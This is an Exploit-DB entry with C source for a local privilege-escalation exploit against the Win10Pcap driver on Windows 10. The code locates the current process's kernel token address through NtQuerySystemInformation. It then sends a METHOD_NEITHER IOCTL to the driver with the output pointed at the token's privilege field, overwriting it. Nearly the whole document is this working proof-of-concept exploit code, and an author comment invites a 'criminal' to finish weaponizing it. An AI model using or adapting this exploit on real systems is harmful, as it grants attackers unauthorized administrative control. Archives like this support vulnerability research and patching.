Microsoft Windows 10 - 'pcap' Driver Privilege Escalation

Author: Rootkitsmm
type: local
platform: windows
port: 
date_added: 2015-10-26  
date_updated: 2019-03-07  
verified: 0  
codes: OSVDB-129607  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt39000/screen-shot.png  
application_url: http://www.exploit-db.comWin10Pcap-88cbd8b544806011aeef502a66c7b0ec33692b93.zip  

raw file: 38533.c  
// Source: https://github.com/Rootkitsmm/Win10Pcap-Exploit

#include <stdio.h>
#include <tchar.h>
#include<Windows.h>
#include<stdio.h>
#include <winternl.h>
#include <intrin.h>
#include <psapi.h>
#include <strsafe.h>
#include <assert.h>

#define	SL_IOCTL_GET_EVENT_NAME		CTL_CODE(0x8000, 1, METHOD_NEITHER, FILE_ANY_ACCESS)
#define STATUS_SUCCESS					((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH		((NTSTATUS)0xc0000004L)

/* found with :
!token
1: kd> dt nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   +0x004 NextToFree       : Ptr32 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : UChar
   +0x00d TraceFlags       : UChar
   +0x00e InfoMask         : UChar
   +0x00f Flags            : UChar
   +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : Ptr32 Void
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD

TypeIndex is 0x5
*/
#define HANDLE_TYPE_TOKEN				0x5


// Undocumented SYSTEM_INFORMATION_CLASS: SystemHandleInformation
const SYSTEM_INFORMATION_CLASS SystemHandleInformation =
(SYSTEM_INFORMATION_CLASS)16;

// The NtQuerySystemInformation function and the structures that it returns
// are internal to the operating system and subject to change from one
// release of Windows to another. To maintain the compatibility of your
// application, it is better not to use the function.
typedef NTSTATUS (WINAPI * PFN_NTQUERYSYSTEMINFORMATION)(
	IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
	OUT PVOID SystemInformation,
	IN ULONG SystemInformationLength,
	OUT PULONG ReturnLength OPTIONAL
	);

// Undocumented structure: SYSTEM_HANDLE_INFORMATION
typedef struct _SYSTEM_HANDLE
{
	ULONG ProcessId;
	UCHAR ObjectTypeNumber;
	UCHAR Flags;
	USHORT Handle;
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


// Undocumented FILE_INFORMATION_CLASS: FileNameInformation
const FILE_INFORMATION_CLASS FileNameInformation =
(FILE_INFORMATION_CLASS)9;

// The NtQueryInformationFile function and the structures that it returns
// are internal to the operating system and subject to change from one
// release of Windows to another. To maintain the compatibility of your
// application, it is better not to use the function.
typedef NTSTATUS (WINAPI * PFN_NTQUERYINFORMATIONFILE)(
	IN HANDLE FileHandle,
	OUT PIO_STATUS_BLOCK IoStatusBlock,
	OUT PVOID FileInformation,
	IN ULONG Length,
	IN FILE_INFORMATION_CLASS FileInformationClass
	);

// FILE_NAME_INFORMATION contains name of queried file object.
typedef struct _FILE_NAME_INFORMATION {
	ULONG FileNameLength;
	WCHAR FileName[1];
} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;


void* FindTokenAddressHandles(ULONG pid)
{
	/////////////////////////////////////////////////////////////////////////
	// Prepare for NtQuerySystemInformation and NtQueryInformationFile.
	//

	// The functions have no associated import library. You must use the
	// LoadLibrary and GetProcAddress functions to dynamically link to
	// ntdll.dll.

	HINSTANCE hNtDll = LoadLibrary(_T("ntdll.dll"));
	assert(hNtDll != NULL);

	PFN_NTQUERYSYSTEMINFORMATION NtQuerySystemInformation =
		(PFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,
		"NtQuerySystemInformation");
	assert(NtQuerySystemInformation != NULL);


	/////////////////////////////////////////////////////////////////////////
	// Get system handle information.
	//

	DWORD nSize = 4096, nReturn;
	PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)
		HeapAlloc(GetProcessHeap(), 0, nSize);

	// NtQuerySystemInformation does not return the correct required buffer
	// size if the buffer passed is too small. Instead you must call the
	// function while increasing the buffer size until the function no longer
	// returns STATUS_INFO_LENGTH_MISMATCH.
	while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo,
		nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH)
	{
		HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
		nSize += 4096;
		pSysHandleInfo = (SYSTEM_HANDLE_INFORMATION*)HeapAlloc(
			GetProcessHeap(), 0, nSize);
	}

	for (ULONG i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
	{

		PSYSTEM_HANDLE pHandle = &(pSysHandleInfo->Handles[i]);

		if (pHandle->ProcessId == pid && pHandle->ObjectTypeNumber == HANDLE_TYPE_TOKEN)
		{
			printf(" ObjectTypeNumber %d , ProcessId %d , Object  %p \r\n",pHandle->ObjectTypeNumber,pHandle->ProcessId,pHandle->Object);
			return pHandle->Object;
		}
	}

	/////////////////////////////////////////////////////////////////////////
	// Clean up.
	//
	HeapFree(GetProcessHeap(), 0, pSysHandleInfo);

	return 0;
}

void main()
{
	DWORD dwBytesReturned;
	DWORD ShellcodeFakeMemory;
	HANDLE token;


	// first create toke handle so find  object address with handle
	if(!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&token))
		DebugBreak();

	void* TokenAddress = FindTokenAddressHandles(GetCurrentProcessId());

	CloseHandle(token);

	// i dont want write fully weaponized exploit so criminal must write code to find  "WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3" in runtime ( simple task :)
	HANDLE hDriver = CreateFileA("\\\\.\\WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3}",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  if(hDriver!=INVALID_HANDLE_VALUE)
  {
	   fprintf(stderr," Open Driver OK\n");

	  if (!DeviceIoControl(hDriver, SL_IOCTL_GET_EVENT_NAME, NULL,0x80,(void*)((char*)TokenAddress+0x34),NULL,&dwBytesReturned, NULL))
	  {
		  fprintf(stderr,"send IOCTL error %d.\n",GetLastError());
		  return;
	  }
	  else  fprintf(stderr," Send IOCTL OK\n");
  }

  else
  {
	  fprintf(stderr," Open Driver error %d.\n",GetLastError());
	  return;
  }


  CloseHandle(hDriver);
  getchar();

}